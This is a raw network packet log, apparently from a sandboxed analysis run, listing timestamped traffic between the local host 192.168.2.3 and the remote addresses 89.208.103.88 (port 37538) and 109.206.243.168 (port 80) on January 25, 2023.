Jan 25, 2023 09:43:33.244484901 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.245079994 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.245560884 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.245580912 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.246119976 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.246138096 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.246155024 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.246622086 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.246639967 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.246656895 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.247107029 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.247618914 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.248106956 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.248125076 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.253731966 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.253824949 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.267697096 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.268006086 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.268040895 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.277118921 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.277149916 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.277165890 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.277182102 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.277472973 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.278201103 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.278219938 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.278625965 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.314256907 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.314420938 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.314421892 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.314501047 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.314558983 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.337522030 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.337913036 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.337954044 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.338347912 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.338382959 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.338920116 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.338956118 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.339395046 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.339401960 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.339426994 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.339592934 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.339888096 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.339921951 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.340429068 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.340461969 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.340950966 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.341296911 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.341403961 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.362658978 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.363012075 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.363497972 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.363535881 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.364101887 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.364579916 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.364615917 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.365010977 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.365461111 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.365633965 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.365684032 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.366138935 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.366810083 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.366847992 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.367374897 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.367721081 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.367752075 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.368091106 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.368242025 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.388921976 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.388993025 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.389208078 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.389764071 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.389800072 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.390228987 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.390264034 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.390923023 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.390959978 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.391266108 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.391299963 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.391956091 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.392390013 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.392884016 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.392920017 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.392991066 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.393171072 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.393368959 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.393403053 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.394093990 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.394129038 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.396662951 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.416100025 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.416498899 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.416522980 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.416981936 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.417495012 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.417994976 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.418488026 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.419728994 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.419749975 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.420098066 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.420124054 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.420677900 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.422250986 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.436883926 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.460714102 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.510272980 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.571448088 CET	49734	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:33.598203897 CET	80	49734	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:33.599415064 CET	49734	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:33.961313009 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.984921932 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:34.016181946 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:34.039381981 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:34.161654949 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:34.184803009 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:34.184839010 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:34.185062885 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:34.307169914 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:34.452497005 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:34.518379927 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:34.641272068 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:34.704524040 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:34.726603985 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:34.759749889 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:34.807223082 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:34.947379112 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:34.970527887 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:34.970983028 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:34.974016905 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:34.997235060 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:34.999387980 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:35.022538900 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:35.197938919 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:35.198964119 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:35.222345114 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:35.307315111 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:35.335613012 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:35.359153032 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:35.394138098 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:35.417870045 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:35.419800997 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:35.442430973 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:35.493908882 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:35.517136097 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:35.518559933 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:35.541686058 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:35.697961092 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:36.615000010 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:38.579263926 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.605746031 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.605938911 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.621798992 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.648219109 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.668137074 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.668251038 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.668335915 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.668340921 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.668391943 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.668438911 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.668456078 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.668484926 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.668524981 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.668553114 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.668570042 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.668616056 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.668661118 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.668665886 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.669334888 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.694902897 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.694961071 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.695008039 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.695054054 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.695086956 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.695133924 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.695179939 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.695228100 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.695229053 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.695281982 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.695328951 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.695379019 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.695404053 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.695436954 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.695489883 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.695506096 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.695543051 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.695561886 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.695590019 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.695640087 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.695689917 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.695694923 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.695740938 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.695787907 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.695789099 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.695832968 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.695878029 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.695880890 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.696244955 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.722138882 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.722189903 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.722237110 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.722297907 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.722312927 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.722362041 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.722409964 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.722469091 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.722495079 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.722495079 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.722645044 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.722711086 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.722768068 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.722775936 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.722820997 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.722827911 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.722868919 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.722914934 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.722918987 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.722960949 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723006010 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.723007917 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723048925 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723092079 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723124027 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723141909 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.723155975 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723170042 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.723190069 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723222971 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723233938 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.723253965 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723316908 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723328114 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.723350048 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723381042 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723412991 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723423958 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.723444939 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723478079 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723490953 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.723510981 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723520041 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.723543882 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723576069 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723589897 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.723608017 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723639965 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723654032 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.723671913 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723704100 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723718882 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.723737955 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723777056 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723812103 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723824024 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.723844051 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723876953 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.723889112 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.723917961 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.750344038 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750370979 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750390053 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750416040 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750443935 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750471115 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750487089 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.750502110 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750519037 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.750529051 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750555992 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750581980 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750607967 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750633001 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750633955 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.750641108 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.750662088 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750679016 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.750700951 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750745058 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.750766993 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750797033 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750823975 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750837088 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.750850916 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750888109 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750905991 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.750914097 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750937939 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750957012 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750976086 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.750976086 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.750998020 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751002073 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.751019001 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751039028 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751059055 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751063108 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.751079082 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751082897 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.751099110 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751120090 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751140118 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751140118 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.751161098 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751162052 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.751179934 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751199961 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751220942 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751220942 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.751243114 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751244068 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.751261950 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751282930 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751302958 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751306057 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.751322031 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751327991 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.751343966 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751363993 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751384020 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751388073 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.751405001 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751408100 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.751425028 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751446009 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751466036 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751466990 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.751486063 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751490116 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.751507044 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751526117 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.751548052 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.751568079 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.777920961 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.777996063 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778054953 CET	80	49735	109.206.243.168	192.168.2.3
Jan 25, 2023 09:43:38.778089046 CET	49735	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:43:38.778101921 CET	80	49735	109.206.243.168	192.168.2.3
